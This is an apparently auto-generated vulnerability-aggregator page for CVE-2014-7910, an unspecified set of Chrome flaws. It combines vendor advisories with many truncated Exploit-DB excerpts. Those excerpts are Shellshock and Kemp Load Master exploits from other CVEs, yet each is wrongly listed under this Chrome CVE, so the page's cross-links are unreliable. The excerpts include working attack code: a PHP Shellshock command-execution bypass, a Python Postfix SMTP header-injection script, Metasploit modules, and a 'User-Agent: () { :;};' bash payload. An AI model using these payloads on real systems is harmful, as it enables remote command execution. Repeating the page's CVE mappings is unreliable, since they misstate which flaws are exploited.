CVE-2014-7910
published 2014-11-19CVE-2014-7910: Multiple unspecified vulnerabilities in Google Chrome before 39.0.2171.65 allow attackers to cause a denial of service or possibly have other impact via…
PriorityP341high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
7.89%
94.0th percentile
Multiple unspecified vulnerabilities in Google Chrome before 39.0.2171.65 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| chrome | <= 39.0.2171.45 | — |
CVSS provenance
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
osv7.5HIGH
vendor_redhat7.5HIGH
vendor_ubuntu7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Oxide vulnerabilities
vendor_ubuntu·2014-11-19·CVSS 7.5
CVE-2014-7904 [HIGH] Oxide vulnerabilities
Title: Oxide vulnerabilities
Summary: Several security issues were fixed in Oxide.
A buffer overflow was discovered in Skia. If a user were tricked in to
opening a specially crafted website, an attacked could potentially exploit
this to cause a denial of service via renderer crash or execute arbitrary
code with the privileges of the sandboxed render process. (CVE-2014-7904)
Multiple use-after-frees were discovered in Blink. If a user were tricked
in to opening a specially crafted website, an attacked could potentially
exploit these to cause a denial of service via renderer crash or execute
arbitrary code with the privileges of the sandboxed render process.
(CVE-2014-7907)
An integer overflow was discovered in media. If a user were tricked in to
opening a specially crafted website, an a
Red Hat
chromium-browser: Unspecified security issues
vendor_redhat·2014-11-18·CVSS 7.5
CVE-2014-7910 [HIGH] chromium-browser: Unspecified security issues
chromium-browser: Unspecified security issues
Multiple unspecified vulnerabilities in Google Chrome before 39.0.2171.65 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Statement: This issue affects the versions of webkitgtk and webkitgtk3 as shipped with Red Hat Enterprise Linux 6 and 7 respectively.
Red Hat Product Security has rated this issue as having Moderate security impact. This issue is not currently planned to be addressed in future updates. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.
Package: webkitgtk (Red Hat Enterprise Linux 6) - Will not fix
Package: webkitgtk3 (Red Hat Enterprise Linux 7) - Will not fix
GHSA
GHSA-gc66-m722-v8hj: Multiple unspecified vulnerabilities in Google Chrome before 39
ghsa_unreviewed·2022-05-17
CVE-2014-7910 [HIGH] GHSA-gc66-m722-v8hj: Multiple unspecified vulnerabilities in Google Chrome before 39
Multiple unspecified vulnerabilities in Google Chrome before 39.0.2171.65 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
OSV
oxide-qt vulnerabilities
osv·2014-11-19·CVSS 7.5
CVE-2014-7904 [HIGH] oxide-qt vulnerabilities
oxide-qt vulnerabilities
A buffer overflow was discovered in Skia. If a user were tricked in to
opening a specially crafted website, an attacked could potentially exploit
this to cause a denial of service via renderer crash or execute arbitrary
code with the privileges of the sandboxed render process. (CVE-2014-7904)
Multiple use-after-frees were discovered in Blink. If a user were tricked
in to opening a specially crafted website, an attacked could potentially
exploit these to cause a denial of service via renderer crash or execute
arbitrary code with the privileges of the sandboxed render process.
(CVE-2014-7907)
An integer overflow was discovered in media. If a user were tricked in to
opening a specially crafted website, an attacked could potentially exploit
this to cause a denial of
OSV
CVE-2014-7910: Multiple unspecified vulnerabilities in Google Chrome before 39
osv·2014-11-19·CVSS 7.5
CVE-2014-7910 [HIGH] CVE-2014-7910: Multiple unspecified vulnerabilities in Google Chrome before 39
Multiple unspecified vulnerabilities in Google Chrome before 39.0.2171.65 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
No detection rules found.
Exploit-DB
Kemp Load Master 7.1.16 - Multiple Vulnerabilities
exploitdb·2015-04-02·CVSS 8.8
CVE-2014-7910 [HIGH] Kemp Load Master 7.1.16 - Multiple Vulnerabilities
Kemp Load Master 7.1.16 - Multiple Vulnerabilities
---
# Exploit Title: Kemp Load Master - Multiple Vulnerabilities (RCE, CSRF, XSS, DoS)
# Date: 01 April 2015
# Author: Roberto Suggi Liverani
# Software Link: http://kemptechnologies.com/load-balancer/
# Version: 7.1.16 and previous versions
# Tested on: Kemp Load Master 7.1-16
# CVE : CVE-2014-5287/5288
Link: http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html
Kemp virtual load master is a virtual load-balancer appliance which comes with a web administrative interface. I had a chance to test it and this blog post summarises some of the most interesting vulnerabilities I have discovered and which have not been published yet. For those of you who want to try it as well, you can get a free trial version here: http://kemp
Exploit-DB
QNAP - Admin Shell via Bash Environment Variable Code Injection (Metasploit)
exploitdb·2015-03-26
CVE-2014-7910 QNAP - Admin Shell via Bash Environment Variable Code Injection (Metasploit)
QNAP - Admin Shell via Bash Environment Variable Code Injection (Metasploit)
---
# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | [email protected] [work] / [email protected] [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##
require 'msf/core'
require 'net/telnet'
class Metasploit3
Exploit-DB
QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)
exploitdb·2015-03-26
CVE-2014-7910 QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)
QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)
---
# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | [email protected] [work] / [email protected] [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##
require 'msf/core
Exploit-DB
PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection
exploitdb·2014-11-03·CVSS 9.8
CVE-2014-7910 [CRITICAL] PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection
PHP
$tmp 2>&1");
// In Safe Mode, the user may only alter environment variables whose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variables that
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actually send any mail
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
Exploit-DB
CUPS Filter - Bash Environment Variable Code Injection (Metasploit)
exploitdb·2014-10-29·CVSS 8.8
CVE-2014-7910 [HIGH] CUPS Filter - Bash Environment Variable Code Injection (Metasploit)
CUPS Filter - Bash Environment Variable Code Injection (Metasploit)
---
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 'CUPS Filter Bash Environment Variable Code Injection',
'Description' => %q{
This module exploits a post-auth code injection in specially crafted
environment variables in Bash, specifically targeting CUPS filters
through the PRINTER_INFO and PRINTER_LOCATION variables by default.
},
'Author' => [
'Stephane Chazelas', # Vulnerability discovery
'lcamtuf', # CVE-2014-6278
'Brendan Coles ' # msf
],
'References' => [
['CVE', '2014-6271'],
['CVE', '2014-6278'],
['EDB', '34765'],
['URL', 'https://access.redhat.com/articles/1200223'],
['URL', 'http://s
Exploit-DB
Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection
exploitdb·2014-10-06
CVE-2014-7910 Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection
Postfix SMTP 4.2.x "
argc = len(sys.argv)
if(argc 3):
usage()
sys.exit(0)
rport = 25
rhost = sys.argv[1]
cmd = sys.argv[2]
headers = ([
"To",
"References",
"Cc",
"Bcc",
"From",
"Subject",
"Date",
"Message-ID",
"Comments",
"Keywords",
"Resent-Date",
"Resent-From",
"Resent-Sender"
])
s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, rport))
# banner grab
s.recv(2048*4)
def netFormat(d):
d += "\n"
return d.encode('hex').decode('hex')
data = netFormat("mail from:<>")
s.send(data)
s.recv(2048*4)
data = netFormat("rcpt to:")
s.send(data)
s.recv(2048*4)
data = netFormat("data")
s.send(data)
s.recv(2048*4)
data = ''
for h in headers:
data += netFormat(h + ":() { :; };" + cmd)
data += netFormat(cmd)
# .
data += "0d0a2e0d0a".decode('hex')
s.send(data)
s.recv(2048*4)
data = netFormat("
Exploit-DB
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)
exploitdb·2014-10-06
CVE-2014-7910 Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)
---
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 'Shellshock Bashed CGI RCE',
'Description' => %q{
This module exploits the shellshock vulnerability in apache cgi. It allows you to
excute any metasploit payload you want.
},
'Author' =>
[
'Stephane Chazelas', # vuln discovery
'Fady Mohamed Osman' # Metasploit module f.othman at zinad.net
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-6271' ]
],
'Payload' =>
{
'BadChars' => "",
},
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'Disclosure
Exploit-DB
OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection
exploitdb·2014-10-04·CVSS 9.8
CVE-2014-7910 [CRITICAL] OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection
OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection
---
# Exploit Title: ShellShock OpenVPN Exploit
# Date: Fri Oct 3 15:48:08 EDT 2014
# Exploit Author: hobbily AKA @fj33r
# Version: 2.2.29
# Tested on: Debian Linux
# CVE : CVE-2014-6271
#Probably should of submitted this the day I tweeted it.
### server.conf
port 1194
proto udp
dev tun
client-cert-not-required
auth-user-pass-verify /etc/openvpn/user.sh via-env
tmp-dir "/etc/openvpn/tmp"
ca ca.crt
cert testing.crt
key testing.key # This file should be kept secret
dh dh1024.pem
server 10.8.0.0 255.255.255.0
keepalive 10 120
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
client-cert-not-required
plugin /usr/lib/openvpn/openvpn-auth-pam.so login
script-security 3
status openvpn-status.log
verb 3
### user.sh
#!/bin/bas
Exploit-DB
Pure-FTPd - External Authentication Bash Environment Variable Code Injection (Metasploit)
exploitdb·2014-10-02
CVE-2014-7910 Pure-FTPd - External Authentication Bash Environment Variable Code Injection (Metasploit)
Pure-FTPd - External Authentication Bash Environment Variable Code Injection (Metasploit)
---
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',
'Description' => %q(
This module exploits the code injection flaw known as shellshock which
leverages specially crafted environment variables in Bash. This exploit
specifically targets Pure-FTPd when configured to use an external
program for authentication.
),
'Author' =>
[
'Stephane Chazelas', # Vulnerability discovery
'Frank Denis', # Discovery of Pure-FTPd attack vector
'Spencer McIntyre' # Metasploit module
],
'References' =>
[
['CVE', '2014-6
Exploit-DB
GNU bash 4.3.11 - Environment Variable dhclient
exploitdb·2014-10-02·CVSS 10.0
CVE-2014-7910 [CRITICAL] GNU bash 4.3.11 - Environment Variable dhclient
GNU bash 4.3.11 - Environment Variable dhclient
---
#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
# ______ ______ ______ _
# / __ | / __ |/ __ | _ (_)
#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___
#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)
#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/
# (_____|
# _ _ _ _
# | | | | (_) _
# _ | | | _ ____| |_ ____ ____ | |_
# / || | || \ / ___) | |/ _ ) _ \|
Exploit-DB
IPFire - CGI Web Interface (Authenticated) Bash Environment Variable Code Injection
exploitdb·2014-10-01·CVSS 9.8
CVE-2014-7910 [CRITICAL] IPFire - CGI Web Interface (Authenticated) Bash Environment Variable Code Injection
IPFire - CGI Web Interface (Authenticated) Bash Environment Variable Code Injection
---
#!/usr/bin/env python
#
# Exploit Title : IPFire <= 2.15 core 82 Authenticated cgi Remote Command Injection (ShellShock)
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://www.ipfire.org
#
# Software Link: http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso
#
# Date : 2014-09-29
#
# Fixed version: IPFire 2.15 core 83 (2014-09-28)
#
# Info: IPFire is a free Linux distribution which acts as a router and firewall in the first instance.
# It can be maintained via a web interface.
# The distribution furthermore offers selected server-daemons and can easily be expanded to a SOHO-server.
# IPFire is based on Linux From Scratch and is, like the Endian Fi
Exploit-DB
GNU Bash - Environment Variable Command Injection (Metasploit)
exploitdb·2014-09-25·CVSS 9.8
CVE-2014-7910 [CRITICAL] GNU Bash - Environment Variable Command Injection (Metasploit)
GNU Bash - Environment Variable Command Injection (Metasploit)
---
require 'msf/core'
class Metasploit3 'bashedCgi',
'Description' => %q{
Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.
},
'Author' =>
[
'Stephane Chazelas', # vuln discovery
'Shaun Colley ' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [ 'CVE', '2014-6271' ],
'Targets' =>
[
[ 'cgi', {} ]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' => { 'PAYLOAD' => 0 }
))
register_options(
[
OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
], s
Exploit-DB
Bash - 'Shellshock' Environment Variables Command Injection
exploitdb·2014-09-25
CVE-2014-7910 Bash - 'Shellshock' Environment Variables Command Injection
Bash - 'Shellshock' Environment Variables Command Injection
---
/cgi-bin/ -c cmd
Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/
Test CGI Code : #!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Bash-is-Vulnerable"
*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");
}
$url = $x['u'];
$cmd = $x['c'];
$context = stream_context_create(
array(
'http' => array(
'method' => 'GET',
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
)
)
);
$req = file_get_contents($url, fa
Exploit-DB
GNU Bash - 'Shellshock' Environment Variable Command Injection
exploitdb·2014-09-25
CVE-2014-7910 GNU Bash - 'Shellshock' Environment Variable Command Injection
GNU Bash - 'Shellshock' Environment Variable Command Injection
---
Exploit Database Note:
The following is an excerpt from: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
Like “real” programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables. This flaw is triggered when extra code is added to the end of these function definitions (inside the enivronment variable). Something like:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
The patch used to fix this flaw, ensures that no code is allowed after the end of a bash function. So if you run the above example with the patched versi
http://googlechromereleases.blogspot.com/2014/11/stable-channel-update_18.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1894.htmlhttp://secunia.com/advisories/60194http://secunia.com/advisories/62608http://www.securityfocus.com/bid/71161http://www.securitytracker.com/id/1031241https://code.google.com/p/chromium/issues/detail?id=337071https://code.google.com/p/chromium/issues/detail?id=340387https://code.google.com/p/chromium/issues/detail?id=389451https://code.google.com/p/chromium/issues/detail?id=391001https://code.google.com/p/chromium/issues/detail?id=397396https://code.google.com/p/chromium/issues/detail?id=408426https://code.google.com/p/chromium/issues/detail?id=409454https://code.google.com/p/chromium/issues/detail?id=409508https://code.google.com/p/chromium/issues/detail?id=411159https://code.google.com/p/chromium/issues/detail?id=411162https://code.google.com/p/chromium/issues/detail?id=411165https://code.google.com/p/chromium/issues/detail?id=413743https://code.google.com/p/chromium/issues/detail?id=413744https://code.google.com/p/chromium/issues/detail?id=414134https://code.google.com/p/chromium/issues/detail?id=415407https://code.google.com/p/chromium/issues/detail?id=417210https://code.google.com/p/chromium/issues/detail?id=417329https://code.google.com/p/chromium/issues/detail?id=421090https://code.google.com/p/chromium/issues/detail?id=421321https://code.google.com/p/chromium/issues/detail?id=421504https://code.google.com/p/chromium/issues/detail?id=421720https://code.google.com/p/chromium/issues/detail?id=421981https://code.google.com/p/chromium/issues/detail?id=422482https://code.google.com/p/chromium/issues/detail?id=423030https://code.google.com/p/chromium/issues/detail?id=423891https://code.google.com/p/chromium/issues/detail?id=424215https://code.google.com/p/chromium/issues/detail?id=424999https://code.google.com/p/chromium/issues/detail?id=425151https://code.google.com/p/chromium/issues/detail?id=425152https://code.google.com/p/chromium/issues/detail?id=433500https://exchange.xforce.ibmcloud.com/vulnerabilities/98798https://www.exploit-db.com/exploits/34879/http://googlechromereleases.blogspot.com/2014/11/stable-channel-update_18.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1894.htmlhttp://secunia.com/advisories/60194http://secunia.com/advisories/62608http://www.securityfocus.com/bid/71161http://www.securitytracker.com/id/1031241https://code.google.com/p/chromium/issues/detail?id=337071https://code.google.com/p/chromium/issues/detail?id=340387https://code.google.com/p/chromium/issues/detail?id=389451https://code.google.com/p/chromium/issues/detail?id=391001https://code.google.com/p/chromium/issues/detail?id=397396https://code.google.com/p/chromium/issues/detail?id=408426https://code.google.com/p/chromium/issues/detail?id=409454https://code.google.com/p/chromium/issues/detail?id=409508https://code.google.com/p/chromium/issues/detail?id=411159https://code.google.com/p/chromium/issues/detail?id=411162https://code.google.com/p/chromium/issues/detail?id=411165https://code.google.com/p/chromium/issues/detail?id=413743https://code.google.com/p/chromium/issues/detail?id=413744https://code.google.com/p/chromium/issues/detail?id=414134https://code.google.com/p/chromium/issues/detail?id=415407https://code.google.com/p/chromium/issues/detail?id=417210https://code.google.com/p/chromium/issues/detail?id=417329https://code.google.com/p/chromium/issues/detail?id=421090https://code.google.com/p/chromium/issues/detail?id=421321https://code.google.com/p/chromium/issues/detail?id=421504https://code.google.com/p/chromium/issues/detail?id=421720https://code.google.com/p/chromium/issues/detail?id=421981https://code.google.com/p/chromium/issues/detail?id=422482https://code.google.com/p/chromium/issues/detail?id=423030https://code.google.com/p/chromium/issues/detail?id=423891https://code.google.com/p/chromium/issues/detail?id=424215https://code.google.com/p/chromium/issues/detail?id=424999https://code.google.com/p/chromium/issues/detail?id=425151https://code.google.com/p/chromium/issues/detail?id=425152https://code.google.com/p/chromium/issues/detail?id=433500https://exchange.xforce.ibmcloud.com/vulnerabilities/98798https://www.exploit-db.com/exploits/34879/
2014-11-19
Published